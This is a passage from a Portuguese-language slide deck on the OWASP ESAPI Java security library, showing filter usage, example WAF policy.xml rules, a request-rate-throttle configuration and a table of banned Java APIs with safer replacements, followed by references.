ESAPI.httpUtilities().setNoCacheHeaders( response );
162. 162
ESAPI Filter
• Realiza log (o array obfuscate contém uma lista de parametros que
não devem ser registrado em log → password)
• Realiza o controle de acesso às URLs
• Faz a ligação com o request/response
ESAPI.accessController().isAuthorizedForURL(request.getRequestURI())
ESAPI.httpUtilities().logHTTPRequest(request, logger, Arrays.asList(obfuscate));
ESAPI.httpUtilities().setCurrentHTTP(request, response);
163. 163
ESAPI WAF - Web Application Firewall
• Configurado por arquivo de configuração policy.xml, onde é possível
definir:
–Virtual patches
–Mecanismo que garante a autenticação
–Mecanismo que garante o controle de acesso
–Mecanismo que realiza a filtragem/detecção de saída de dados
–Mecanismo que força o uso de HTTPS
–entre outros...
167. 167
ESAPI WAF - Web Application Firewall
• Definindo ações:
»redirect – redireciona para página de erro
»block – pára o processamento e retorna uma página em branco
»log – realiza o log da operação
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<aliases></aliases>
<settings>
<mode>block</mode>
<session-cookie-name>JSESSIONID</session-cookie-name>
<error-handling>
<default-redirect-page>/error.jsp</default-redirect-page>
<block-status>500</block-status>
</error-handling>
</settings>
</policy>
168. 168
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<virtual-patches>
<virtual-patch id="1234" path="/foo.jsp" variable="request.parameters.bar"
pattern="[0-9a-zA-Z]" message="Ataque xyz" />
</virtual-patches>
</policy>
• Algumas tags úteis: <virtual-patches … >
– Criando virtual patches
» São úteis para criar proteções urgentes que previnem contra
ameaças recém descobertas e que a mudança em código é
demorada ou está impossibilitada
169. 169
ESAPI WAF - Web Application Firewall
• Algumas tags úteis: <restrict-source-ip … >
– Restringindo os IPs que acessam determinado path
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<authorization-rules>
<restrict-source-ip type="regex" ip-header="X-ORIGINAL-IP"
Ip-regex="(192.168.1..*|127.0.0.1)" >/admin/.*</restrict-source-ip>
</authorization-rules>
</policy>
170. 170
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<authorization-rules>
<must-match path="^/admin/.*" variable="session.org.acme.user.roles"
operator="inList" value="admin" />
<must-match path="^/admin/.*" variable="request.headers.X-ROLES"
operator="contains" value="admin" />
</authorization-rules>
</policy>
• Algumas tags úteis: <must-match … >
– Exigindo determinado valor em variáveis de sessão/requisição
(cabeçalho HTTP)
equals
exists
inList
contains
171. 171
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<url-rules>
<restrict-extension deny=".java" />
<restrict-method deny="GET" path=".*.do$" />
<restrict-method allow="^(GET|POST|HEAD)$" />
</url-rules>
</policy>
• Algumas tags úteis: <restrict-extension … > e <restrict-method … >
– Restringindo acesso a determinada extensão de arquivo
– Restringindo ou autorizando métodos GET/POST/HEAD
172. 172
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<url-rules>
<enforce-https path="/.*">
<path-exception>/index.html</path-exception>
<path-exception type="regex">/images/.*</path-exception>
<path-exception type="regex">/help/.*</path-exception>
</enforce-https>
</url-rules>
</policy>
• Algumas tags úteis: <enforce-https … >
– Força o uso do HTTPs e permite definir páginas de exceção, onde
o uso do HTTPs não é obrigatório
URLs que são exceção à regra
e não deve exigir HTTPs para elas
173. 173
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<url-rules>
<header-rules>
<restrict-user-agent deny=".*GoogleBot.*" />
<restrict-user-agent allow=".*" />
</header-rules>
</url-rules>
</policy>
• Algumas tags úteis: <restrict-user-agent … >
– Restringindo o client (user-agent)
» No exemplo abaixo o bot do Google que realiza a busca e
indexação dentro dos sites está sendo bloqueado
174. 174
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<outbound-rules>
<add-secure-flag>
<cookie name=".*"/>
</add-secure-flag>
</outbound-rules>
</policy>
• Algumas tags úteis: <add-secure-flag … >
– Adicionando flag “secure-flag” nos cookies
176. 176
ESAPI WAF - Web Application Firewall
<?xml version="1.0" encoding="UTF-8"?>
<policy>
<outbound-rules>
<bean-shell-rules>
<bean-shell-script id="example1"
file="src/WAF/bean-shell-rule.bsh"
stage="before-request-body"/>
</bean-shell-rules>
</outbound-rules>
</policy>
• Algumas tags úteis: <bean-shell-script … >
– Executando scripts em beanshell que podem executar operações
pré-definidas
import org.owasp.esapi.waf.actions.*;
session.setAttribute("simple_waf_test", "true");
action = new RedirectAction();
BlockAction
DefaultAction
DoNothingAction
RedirectAction
177. 177
ESAPI Request Rate Throttle
• É um filtro que limita a taxa de requisições para um certo limite de
requisições por segundo
• A taxa padrão é 5 hits a cada 10 segundos
• A taxa pode ser redefinida ao adicionar parâmetros no arquivo
web.xml com o nome "hits" e "period" com os valores desejados
178. 178
ESAPI Request Rate Throttle
<filter>
<filter-name>RequestRateThrottleFilter</filter-name>
<filter-class>org.owasp.esapi.filters.RequestRateThrottleFilter</filter-class>
<init-param>
<param-name>hits</param-name>
<param-value>10</param-value>
</init-param>
<init-param>
<param-name>period</param-name>
<param-value>15</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>RequestRateThrottleFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
• Configuração com a definição dos parâmetros hits e period no arquivo
web.xml
180. 180
Vantagens do Uso da Biblioteca ESAPI
Programa de Segurança de Aplicações envolve:
• Treinamento em Segurança de Aplicações
• Ciclo de vida de desenvolvimento seguro
• Guias e padrões de segurança em aplicações
• Inventário e Métricas de segurança em aplicações
Hipóteses
• 1000 aplicações, muitas tecnologias, algumas terceirizadas
• 300 desenvolvedores, 10 aulas de treinamento por ano
• 50 novos projetos de aplicações por ano
• Equipe de segurança de aplicações pequena
Potenciais redução de custos da empresa
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
181. 181
Vantagens do Uso da Biblioteca ESAPI
Estimativa de custos para tratar XSS
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
182. 182
Vantagens do Uso da Biblioteca ESAPI
Potencial de redução de custos da organização com a ESAPI
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
183. 183
Vantagens do Uso da Biblioteca ESAPI
Potencial de redução de custos da organização com a ESAPI
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
184. 184
Overview de APIs Java banidas
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
System.out.println() → Logger.*
Throwable.printStackTrace() → Logger.*
Runtime.exec() → Executor.safeExec()
Reader.readLine() → Validator.safeReadLine()
Session.getId() → Randomizer.getRandomString() (better not to use at all)
ServletRequest.getUserPrincipal() → Authenticator.getCurrentUser()
ServletRequest.isUserInRole() → AccessController.isAuthorized*()
Session.invalidate() → Authenticator.logout()
Math.Random.* → Randomizer.*
File.createTempFile() → Randomizer.getRandomFilename()
ServletResponse.setContentType() → HTTPUtilities.setContentType()
ServletResponse.sendRedirect() → HTTPUtilities.sendSafeRedirect()
185. 185
Overview de APIs Java banidas
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs
RequestDispatcher.forward() → HTTPUtilities.sendSafeForward()
ServletResponse.addHeader() → HTTPUtilities.addSafeHeader()
ServletResponse.addCookie() → HTTPUtilities.addSafeCookie()
ServletRequest.isSecure() → HTTPUtilties.isSecureChannel()
Properties.* → EncryptedProperties.*
ServletContext.log() → Logger.*
java.security and javax.crypto → Encryptor.*
java.net.URLEncoder/Decoder → Encoder.encodeForURL/decodeForURL
java.sql.Statement.execute → PreparedStatement.execute
ServletResponse.encodeURL → HTTPUtilities.safeEncodeURL (better not to use at all)
ServletResponse.encodeRedirectURL → HTTPUtilities.safeEncodeRedirectURL
(better not to use at all)
187. 187
Conclusões
Considerações Finais:
• A ESAPI auxilia no reuso e integração dos controles de
segurança para desenvolver aplicações seguras, porém
existe a necessidade de criar processos que vão além do
código fonte da aplicação, envolvendo:
– Análise de riscos de segurança de aplicações Web
– Processo de codificação segura
188. 188
Conclusões
Considerações Finais:
• A razão pela qual criamos princípios de segurança no
desenvolvimento é ajudar os desenvolvedores a
construírem aplicações seguras e não apenas para evitar
as vulnerabilidades mais comuns atualmente.
• Este provérbio resume esta ideia:
“Ensinar o desenvolvedor a se
prevenir contra uma determinada
vulnerabilidade fará com que ele se
previna dela. Ensiná-lo a desenvolver
de forma segura fará com que ele se
previna de muitas vulnerabilidades.”
189. 189
Referências
DOM Based Cross Site Scripting or XSS of the Third Kind
http://www.webappsec.org/projects/articles/071105.shtml
http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
http://en.wikipedia.org/wiki/Canonicalization
http://www.securityninja.co.uk/output-validation-using-the-owasp-esapi
http://www.securityninja.co.uk/input-validation-using-the-owasp-esapi
http://code.google.com/p/owasp-esapi-java/
192. 192
Referências
Vitor Afonso, André Grégio, Paulo Licio de Geus, Segurança Web: Técnicas para
Programação Segura de Aplicações, AppSec Brasil, 2009.
Chris Schmidt, Solving Real World Problems with ESAPI, FROC 2010
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application
Security Costs, Aspect Security
OWASP Esapi for Java EE 2.0a, Web Application Firewall Policy File Specification, alpha,
OWASP Foundation.
193. 193
Referências
Michael Coates, OWASP AppSensor, V1.1, Detect and Respond to Attacks from within the
Application, OWASP Foundation.
Michael Coates, AppSensor: Real Time Defenses, OWASP Foundation
http://www.owasp.org/index.php/OWASP_AppSensor_Project
http://www.owasp.org/index.php/AppSensor_GettingStarted
http://www.owasp.org/index.php/AppSensor_Developer_Guide
http://www.beanshell.org/docs.html